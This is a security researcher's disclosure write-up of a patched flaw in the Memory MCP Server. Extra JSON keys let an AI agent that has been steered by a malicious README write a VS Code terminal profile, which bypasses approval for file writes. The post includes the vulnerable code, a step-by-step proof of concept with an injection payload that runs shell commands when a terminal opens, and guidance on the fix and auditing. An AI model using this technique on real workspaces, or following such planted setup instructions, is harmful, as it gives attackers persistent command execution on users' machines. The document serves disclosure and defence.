What Happened
Anthropic’s Memory MCP Server is designed to help AI agents remember information across conversations by storing entities in a knowledge graph JSON Lines (JSONL) file. According to its documentation, each entity should only contain name, entityType, and observations.
However, the vulnerable implementation accepted and stored additional properties beyond what was documented. That turned “memory persistence” into arbitrary JSON injection, enabling persistent VS Code configuration injection and terminal profile hijacking.
Why This Matters for Agents
In MCP, this becomes capability laundering: a “memory” server can, via side effects, behave like an arbitrary write capability, without the client ever invoking a file-write tool explicitly.
I discovered this vulnerability and reported it to Anthropic on September 11, 2025. They patched it through my PR #2726. However, when I requested a CVE identifier, they declined and closed the report as “informative”, despite the security implications.
TL;DR
- Issue: In the vulnerable version, the tool schema did not forbid extra properties (missing
additionalProperties: false) and the server persisted those properties (...espread during serialization). (schema / serialization) - Impact: Through capability laundering, AI agents gain the ability to write arbitrary JSON properties to configuration files. This enables persistent configuration injection in VS Code, leading to terminal profile hijacking where malicious commands execute automatically when a terminal is opened.
- Preconditions: Attacker influences an AI agent (MCP client) to configure server-memory to persist to a workspace config file, then to call
create_entitieswith extra keys. - Affected:
@modelcontextprotocol/server-memorybefore2025.9.25. - Fix:
2025.9.25adds strict schema validation and output sanitization. (PR #2726 / schema hardening / serialization hardening) - Class: MCP capability laundering via server side effects bypassing “file write” approvals by writing to disk during ordinary tool calls.
Related to the VS Code configuration injection class of issues (e.g. CVE-2025-61590 in Cursor), but with different preconditions.
Threat Model: Capability Laundering
Agent Influence Surface
The attacker doesn’t need a direct file-write capability. They only need to influence what the agent treats as a “routine” tool setup and a “normal” tool call (e.g. via prompts, READMEs, or setup instructions).
Why This Scales in MCP
- Composability: agents routinely compose multiple MCP servers, so side effects can chain across “innocent” capabilities.
- Contract confusion: users reason about tool names (“memory”), while the actual effect can match a different capability (“write”).
- Policy mismatch: controls often gate explicit tool invocations, not the effects produced via server side effects.
Laundering Walkthrough
Capability laundering is when the agent calls one tool, but gets a different capability’s effect via side effects:
- A malicious prompt or README convinces an agent to configure the Memory MCP Server to persist to a workspace file (e.g.
.vscode/settings.json). - The agent then issues normal memory operations (
create_entities) that include attacker-chosen extra keys. - The MCP server (not the agent’s file tool) writes the payload into the target file as part of its “memory persistence”.
- The agent never calls an explicit “write file” tool, so any approval UI that only gates direct file writes is bypassed through capability laundering.
- The effect persists and triggers later (e.g. when a user opens the VS Code integrated terminal).
The key point: the agent treats “running a standard MCP server + calling its tools” as routine and allowed, even though it effectively becomes a file-write primitive to sensitive configuration paths through capability laundering.
sequenceDiagram participant A as Malicious README/Prompt participant U as User participant G as AI Agent (Claude Code) participant M as Memory MCP Server participant F as File (.vscode/settings.json) participant V as VS Code Terminal A->>U: "Setup/optimize instructions" U->>G: "Please follow the setup" G->>M: Start server-memory configured to persist to .vscode/settings.json Note over G,M: No explicit agent file-write action G->>M: tools/call create_entities (extra keys) M->>F: writeFile(settings.json) U->>V: Open integrated terminal V-->>U: Executes injected profile args
Generalized Pattern
In agentic MCP workflows, the dangerous part is that the agent doesn’t need to call an explicit file-write tool at all — the server writes as a side effect of routine tool calls.
This is the reusable pattern that creates capability laundering risk:
- Configurable persistence target (server can be pointed at a workspace file)
- Permissive input boundary (schema accepts attacker-chosen extra keys)
- Permissive output/persistence (serialization re-emits those keys to disk)
Technical Root Cause
The Model Context Protocol (MCP) lets agents invoke external tools via MCP servers. Memory MCP Server is a reference implementation in modelcontextprotocol/servers that persists its knowledge graph as JSONL. (README)
The Vulnerable Code
The intended entity schema is documented as name, entityType, observations. (README)
But in the vulnerable version, the implementation had two flaws:
// FLAW 1: Tool schema didn't forbid extra properties (missing additionalProperties: false)
// Source: src/memory/index.ts (pre-fix) create_entities schema:
// https://github.com/modelcontextprotocol/servers/blob/1bd3734e722876b6d7b30583c4d16afa5e0de615/src/memory/index.ts#L203
items: {
type: "object",
properties: { name, entityType, observations },
required: ["name", "entityType", "observations"],
// missing: additionalProperties: false
}
// FLAW 2: Serialization persisted all properties via spread
// Source: src/memory/index.ts (pre-fix) saveGraph:
// https://github.com/modelcontextprotocol/servers/blob/1bd3734e722876b6d7b30583c4d16afa5e0de615/src/memory/index.ts#L61
private async saveGraph(graph: KnowledgeGraph): Promise<void> {
const lines = [
...graph.entities.map(e => JSON.stringify({ type: "entity", ...e })),
...graph.relations.map(r => JSON.stringify({ type: "relation", ...r })),
];
await fs.writeFile(MEMORY_FILE_PATH, lines.join("\n"));
}
Why This Becomes Arbitrary Write
Missing additionalProperties: false and an unsafe spread operator turn a “memory store” into a configuration-writing primitive: attacker-controlled extra keys survive validation and get persisted to disk.
If you’re not familiar with JSON Schema’s
additionalProperties, see: https://json-schema.org/understanding-json-schema/reference/object#additionalproperties
Proof of Concept: VS Code Terminal Hijacking
This PoC uses VS Code terminal profiles as a clean persistence + execution demonstration; the same primitive generalizes to other “configuration is code” files.
Setup
Step 1: Create innocent VS Code project

mkdir -p ~/Desktop/vscode-memory-exploit-poc/.vscode
echo '{"editor.fontSize":50,"editor.tabSize":2}' > ~/Desktop/vscode-memory-exploit-poc/.vscode/settings.json

Step 2: Target VS Code configuration and start Memory MCP Server
export MEMORY_FILE_PATH="$HOME/Desktop/vscode-memory-exploit-poc/.vscode/settings.json"
npx -y @modelcontextprotocol/server-memory

Injection
Step 3: Inject malicious configuration through MCP protocol

{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "create_entities",
"arguments": {
"entities": [
{
"name": "vscode-config",
"entityType": "editor",
"observations": ["compromised VS Code settings"],
"terminal.integrated.defaultProfile.osx": "bash",
"terminal.integrated.profiles.osx": {
"bash": {
"path": "/bin/bash",
"args": ["-c", "echo 'VS CODE COMPROMISED' && whoami && exec bash"]
}
}
}
]
}
}
}
These
terminal.integrated.*keys are documented by VS Code (terminal profiles): https://code.visualstudio.com/docs/terminal/profiles
Step 4: Verify configuration compromise

The VS Code settings.json now contains:
{
"type": "entity",
"name": "vscode-config",
"entityType": "editor",
"observations": ["compromised VS Code settings"],
"terminal.integrated.defaultProfile.osx": "bash",
"terminal.integrated.profiles.osx": {
"bash": {
"path": "/bin/bash",
"args": ["-c", "echo 'VS CODE COMPROMISED' && whoami && exec bash"]
}
}
}
VS Code ignores the unknown
type,name,entityType, andobservationsproperties but executes the valid terminal configuration.
Trigger
Step 5: Trigger payload execution

Opening a new terminal in VS Code (Cmd+Shift+Backtick) immediately executes the injected commands.
Result: commands execute in the VS Code integrated terminal when a terminal is opened.
Capability masquerade in one line: a “memory” tool call produces an “arbitrary write” effect, without invoking a write capability explicitly.
Fix and Mitigations
Fix
PR #2726 fixed both root causes:
- Schema hardening: add
additionalProperties: falseto reject unknown keys at the tool boundary. (fix) - Serialization hardening: remove object spread and only write allowlisted properties to disk. (fix)
The fix is included in the modelcontextprotocol/servers release tag 2025.9.25 and later.
Immediate Actions
- Update to
modelcontextprotocol/serversrelease2025.9.25+ (or ensure your installed@modelcontextprotocol/server-memoryincludes PR #2726). - Audit
.vscode/settings.jsonfor unexpectedterminal.integrated.*keys (VS Code terminal profiles: https://code.visualstudio.com/docs/terminal/profiles) and for “memory-shaped” keys (type,name,entityType,observations) appearing in the same object.
Example indicator:
{
"type": "entity",
"name": "...",
"entityType": "...",
"observations": [...],
"terminal.integrated.profiles.osx": { "...": "..." }
}
Ecosystem Guidance
- MCP servers: Enforce the contract: reject unknown keys (
additionalProperties: false) and allowlist what gets serialized to disk. - MCP servers: Declare side effects explicitly (especially persistence) and constrain what can be targeted by configuration.
- MCP clients/agents: Move from tool-based gating to effect-based gating (capability accounting): treat persistence/write effects as first-class capabilities, even when triggered indirectly.
Responsibility and Disclosure
Responsibility Boundary
A key question in the MCP ecosystem is where the security boundary actually lives: the MCP client (agent) or the MCP server.
In this case, the server documented a tight contract for entities (name, entityType, observations) but the vulnerable implementation accepted and persisted arbitrary extra keys (schema / write path). That’s what turns “memory” into a write primitive and enables capability laundering.
Responsibility-wise:
- Servers must enforce their own contracts (reject unknown keys; allowlist what gets written), because the server controls the side effect.
- Clients/agents should treat server-side persistence as a privileged capability, not a harmless implementation detail, and gate/log it accordingly.
For context, the MCP steering group has assigned CVEs to other server-side issues with configuration-dependent exploitation, e.g. CVE-2025-53110.
Timeline
September 11, 2025: Discovered and reported via HackerOne #3334232 (with full PoC)
September 18, 2025: PR submitted and Fix merged (PR #2726, commit 52ab84c) and later released in 2025.9.25
December 4, 2025: Final closure as “Informative” (“doesn’t meet the bar for a CVE”), no CVE, no security advisory
The outcome: Memory MCP Server had a server-side implementation flaw that enabled capability laundering. It was patched with server-side security controls. But it received no CVE and no security advisory.
Conclusion
The Memory MCP Server violated its stated schema contract by accepting and persisting arbitrary properties. In agentic MCP deployments, that turns a “safe” memory server into an arbitrary-write effect: configuration injection and terminal profile hijacking can occur without invoking a write capability.
This is why MCP needs effect-based capability accounting: side effects should be explicit and gateable, not an implementation detail hidden behind a tool label.
The fix is included in modelcontextprotocol/servers release 2025.9.25; if you used server-memory before this version, audit .vscode/settings.json for injected properties.
References:
- Memory MCP Server (tag
2025.9.25) - Fix PR #2726
- Vulnerable pre-fix code (saveGraph + tool schema)
- Fix commit (schema + allowlisted serialization)
- CVE-2025-61590 (Cursor)
- CVE-2025-53110 (Filesystem MCP Server)
- VS Code terminal profiles
- JSON Schema
additionalProperties
Aonan Guan | Security Researcher | LinkedIn | GitHub | Related work in Microsoft Agentic Web Featured by The Verge
